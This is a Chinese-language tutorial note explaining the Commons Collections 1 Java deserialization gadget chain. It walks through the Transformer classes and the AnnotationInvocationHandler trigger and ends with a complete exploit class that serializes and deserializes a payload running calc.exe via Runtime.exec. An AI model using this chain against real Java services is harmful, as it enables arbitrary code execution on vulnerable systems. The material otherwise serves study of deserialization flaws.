CommonCollections1利用链 demo 从P神的demo来理解
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec" ,new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe" }) }; Transformer transformerChain= new ChainedTransformer(transformers); Map innerMap=new HashMap(); Map outerMap=TransformedMap.decorate(innerMap,null ,transformerChain); outerMap.put("test" ,"x" ); } }
接下来学习一下里面的接口和类
TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
其中,keyTransformer是处理新元素的key的回调,valueTransormer是处理新元素的value的回调。我们所说的回调,并不是传统意义上的回调函数,而是一个实现了Transformer接口的类。
Transformer的作用是:对其集合的元素进行增加,删除或修改时调用transform方法进行特定的修饰变换
,而这个transform是我们自己定义的
Transformer是一个接口,它只有一个待实现的方法:
public interface Transformer { public object transform (object input) ; }
TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个“回调函数”,这个回调的参数是原始对象。
ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回。
public ConstantTransformer (Object constantToReturn) { super (); iConstant=constantToReturn; } public Object transform (Object input) { return iConstant; }
作用是 包装任意一个对象,并且在执行回调时,返回这个对象,方便后续操作。
InvokerTransformer是实现了Transformer接口的一个类,这个类可以用来执行任意方法,也是反序列化能执行任意代码的关键。
在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。
public InvokerTransformer (String methodName, Class paramTypes, Object[] args) { super (); iMethodName=methodName; iParamTypes=paramTypes; iArgs=args; }
后面的回调transform方法,就是执行了input对象的iMethodName方法。
public Object transform (object input) { if (input == null ){ return null ; } try { Class cls=input.getClass(); Method method = cls.getMethod(iMethodName,iParamTypes); return method.invoke(input,iArgs); }catch (NoSuchMethodException ex){ throw new FunctorException("InvokerTransformer: The method '" +iMethodName+"'on'" +input.getClass() + "'does not exist" ); }catch (IllegalAccessException ex){ throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
ChainedTransformer的作用是将内部的多个Transformer串在一起,将前一个回调返回的结果,作为后一个回调的参数传入
public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i=0 ; i< iTransformers.length; i ++){ object = iTransformers[i].transform(object); } return object; }
理解demo Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec" ,new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe" }) }; Transformer transformerChain= new ChainedTransformer(transformers);
通过新建一个ChainedTransformer,一开始包含了两个Transformer;第一个是ConstantTransformer,根据前面的学习,他的作用是构造函数的构造函数的时候传入一个对象,并在transform方法的时候将这个对象返回,而invokerTransformer,则是执行Runtime对象的exec,参数是后面的地址。
此时的ransformerChain将内部的多个TransformedMap串接在一起,将其和封装入innerMap,通过在Map中放入一个新元素 触发回调
Map innerMap=new HashMap(); Map outerMap=TransformedMap.decorate(innerMap,null ,transformerChain); outerMap.put("test" ,"x" );
要触发上面CC链,需要在Map中放入一个新元素来实现触发。因此我们需要找到一个链,在反序列化的起点readObject逻辑里有写入操作。
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
,其readObject方法中,我们重点关注一下写入部分的代码
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)));
其中memberValues就是反序列化后得到的Map,也是经过了TransormedMap修饰的对象,这里遍历了它的所有元素,并依次设置值,在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,那么就会执行我们上面构造的代码。
由于sun.reflect.annotation.AnnotationInvocationHandler
是jdk内部的类,不能直接使用new来实例化,所以需要使用反射来获取到其构造方法,,而这个类的构造函数有两个参数,第一个参数是Annotation类,第二个参数是前面构造的Map。
Class clazz= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct= clazz.getDeclaredConstructor(Class.class,Map.class); construc.setAccessible(true ); Object obj=construc.newInstance(Retention.class,outerMap);
为什么要使用反射 通过使用以下代码,我们可以获得序列化流,
ByteArrayOutputStream barr= new ByteArrayOutputStream(); ObjectOutputStream oos= new ObjectOutputStream(barr); oos.writeObject(obj); oos.close();
值得注意的是:待序列化的对象和所有它使用的内部属性对象,必须都实现java.io.Serializable
接口 ,但是最早传给ConstantTransformaer的是Runtime.getRuntime(),Runtime类是没有实现java.io.Serializable接口,所以不允许被序列化。
因此我们可以通过反射来获取到上下文中的Runtime对象,
Method f = Runtime.class.getMethod("getRuntime" ); Runtime r=(Runtime) f.invoke(null ); r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator" );
转化为Transformer的写法如下:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{ String.class, Class.class },new Object[]{"getRuntime" ,new Class[0 ]}), new InvokerTransformer("invoke" ,new Class[]{ Object.class, Object[].class }, new Object[]{null ,new Object[0 ]}), new InvokerTransformer("exec" ,new Class[]{ String.class }, new String[]{ "C:\\Windows\\System32\\calc.exe" }), };
这个和前面的区别在于,Runtime.getRuntime()换成了Runtime.class,前者为java.lang.Runtime对象,后者为java.lang.Class对象
exp package test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{ String.class, Class[].class },new Object[]{"getRuntime" ,new Class[0 ]}), new InvokerTransformer("invoke" ,new Class[]{ Object.class, Object[].class }, new Object[]{null ,new Object[0 ]}), new InvokerTransformer("exec" ,new Class[]{ String.class }, new String[]{ "C:\\Windows\\System32\\calc.exe" }), }; Transformer transformerChain= new ChainedTransformer(transformers); Map innerMap=new HashMap(); innerMap.put("value" ,"x" ); Map outerMap=TransformedMap.decorate(innerMap,null ,transformerChain); Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class); construct.setAccessible(true ); InvocationHandler handler=(InvocationHandler) construct.newInstance(Retention.class,outerMap); ByteArrayOutputStream barr= new ByteArrayOutputStream(); ObjectOutputStream oos= new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois=new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o=(Object) ois.readObject(); } }
小结: 总结一下这部分的内容:首先利用的是Ysoserial的hashmap函数,实现反序列化,链条使用的类是commoncollections1中的,其中最重要的就是Transformed,可以调用一个函数,通过一系列操作,即可任意代码执行,但是值得一提的是,调用的类需要具有serialize接口,才能实现序列化。